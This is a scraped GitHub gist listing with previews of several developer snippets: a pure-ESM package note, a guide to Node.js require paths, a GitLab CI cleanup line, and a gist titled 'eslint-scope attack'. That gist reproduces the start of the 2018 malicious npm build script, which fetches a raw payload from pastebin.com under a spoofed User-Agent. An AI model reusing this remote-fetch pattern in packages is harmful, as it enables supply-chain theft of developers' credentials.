Skip to content

Instantly share code, notes, and snippets.

View transitive-bullshit's full-sized avatar
👋
Searching for AGI

Travis Fischer transitive-bullshit

👋
Searching for AGI
View GitHub Profile
@sindresorhus
sindresorhus / esm-package.md
Last active April 26, 2024 03:53
Pure ESM package

Pure ESM package

The package that linked you here is now pure ESM. It cannot be require()'d from CommonJS.

This means you have the following choices:

  1. Use ESM yourself. (preferred)
    Use import foo from 'foo' instead of const foo = require('foo') to import the package. You also need to put "type": "module" in your package.json and more. Follow the below guide.
  2. If the package is used in an async context, you could use await import(…) from CommonJS instead of require(…).
  3. Stay on the existing version of the package until you can move to ESM.
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
cache:
key:
stages:
- build
- test
- deploy
after_script:
- (if [ "$(lsof -n -i4TCP:2137)" != "" ]; then kill -9 $(lsof -n -i4TCP:2137); else echo "Cleaned"; exit 33; fi);
@branneman
branneman / better-nodejs-require-paths.md
Last active April 25, 2024 13:21
Better local require() paths for Node.js

Better local require() paths for Node.js

Problem

When the directory structure of your Node.js application (not library!) has some depth, you end up with a lot of annoying relative paths in your require calls like:

const Article = require('../../../../app/models/article');

Those suck for maintenance and they're ugly.

Possible solutions